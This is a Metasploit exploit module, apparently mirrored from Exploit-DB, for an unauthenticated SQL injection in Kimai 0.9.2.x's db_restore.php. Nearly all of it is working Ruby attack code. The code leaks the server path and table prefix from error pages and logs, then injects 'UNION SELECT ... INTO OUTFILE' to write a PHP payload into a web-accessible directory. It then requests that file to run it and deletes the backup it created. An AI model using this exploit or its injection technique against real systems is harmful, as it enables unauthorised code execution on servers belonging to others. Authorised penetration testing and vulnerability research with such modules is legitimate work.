Kimai 0.9.2 – ‘db_restore.php’ SQL Injection (Metasploit)

  • 作者: Metasploit
    日期: 2013-12-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/30010/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "Kimai v0.9.2 'db_restore.php' SQL Injection",
    'Description'=> %q{
    This module exploits a SQL injection vulnerability in Kimai version
    0.9.2.x. The 'db_restore.php' file allows unauthenticated users to
    execute arbitrary SQL queries. This module writes a PHP payload to
    disk if the following conditions are met: The PHP configuration must
    have 'display_errors' enabled, Kimai must be configured to use a
    MySQL database running on localhost; and the MySQL user must have
    write permission to the Kimai 'temporary' directory.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'drone (@dronesec)', # Discovery and PoC
    'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
    ],
    'References' =>
    [
    ['EDB' => '25606'],
    ['OSVDB' => '93547'],
    ],
    'Payload'=>
    {
    'Space'=> 8000, # HTTP POST
    'DisableNops'=> true,
    'BadChars' => "\x00\x0a\x0d\x27"
    },
    'Arch' => ARCH_PHP,
    'Platform' => 'php',
    'Targets'=>
    [
    # Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-3
    [ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ]
    ],
    'Privileged' => false,
    'DisclosureDate' => 'May 21 2013',
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('TARGETURI',[true,'The base path to Kimai', '/kimai/']),
    OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']),
    OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_'])
    ], self.class)
    end
    
    #
    # Checks if target is Kimai version 0.9.2.x
    #
    def check
    print_status("#{peer} - Checking version...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })
    if not res
    print_error("#{peer} - Request timed out")
    return Exploit::CheckCode::Unknown
    elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/
    version = "#{$1}"
    print_good("#{peer} - Found version: #{version}")
    if version >= "0.9.2" and version <= "0.9.2.1306"
    return Exploit::CheckCode::Detected
    else
    return Exploit::CheckCode::Safe
    end
    end
    Exploit::CheckCode::Unknown
    end
    
    def exploit
    
    # Get file system path
    print_status("#{peer} - Retrieving file system path...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') })
    if not res
    fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/
    path = "#{$1}"
    print_good("#{peer} - Found file system path: #{path}")
    else
    path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path)
    print_warning("#{peer} - Could not retrieve file system path. Assuming '#{path}'")
    end
    
    # Get MySQL table name prefix from temporary/logfile.txt
    print_status("#{peer} - Retrieving MySQL table name prefix...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })
    if not res
    fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/)
    table_prefix = "#{prefixes.flatten.last}"
    print_good("#{peer} - Found table name prefix: #{table_prefix}")
    else
    table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path)
    print_warning("#{peer} - Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'")
    end
    
    # Create a backup ID
    print_status("#{peer} - Creating a backup to get a valid backup ID...")
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
    'vars_post' => {
    'submit'=> 'create backup'
    }
    })
    if not res
    fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/)
    id = "#{backup_ids.flatten.last}"
    print_good("#{peer} - Found backup ID: #{id}")
    else
    fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID")
    end
    
    # Write PHP payload to disk using MySQL injection 'into outfile'
    fname = "#{rand_text_alphanumeric(rand(10)+10)}.php"
    sqli= "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "
    print_status("#{peer} - Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...")
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
    'vars_post' => Hash[{
    'submit'=> 'recover',
    'dates[]' => sqli
    }.to_a.shuffle]
    })
    if not res
    fail_with(Failure::Unknown, "#{peer} - Request timed out")
    elsif res.code == 200
    print_good("#{peer} - Payload sent successfully")
    register_files_for_cleanup(fname)
    else
    print_error("#{peer} - Sending payload failed. Received HTTP code: #{res.code}")
    end
    
    # Remove the backup
    print_status("#{peer} - Removing the backup...")
    res = send_request_cgi({
    'method'=> 'POST',
    'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
    'vars_post' => Hash[{
    'submit'=> 'delete',
    'dates[]' => "#{id}"
    }.to_a.shuffle]
    })
    if not res
    print_warning("#{peer} - Request timed out")
    elsif res.code == 302 and res.body !~ /#{id}/
    vprint_good("#{peer} - Deleted backup with ID '#{id}'")
    else
    print_warning("#{peer} - Could not remove backup with ID '#{id}'")
    end
    
    # Execute payload
    print_status("#{peer} - Retrieving file '#{fname}'...")
    res = send_request_raw({
    'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}")
    }, 5)
    end
    end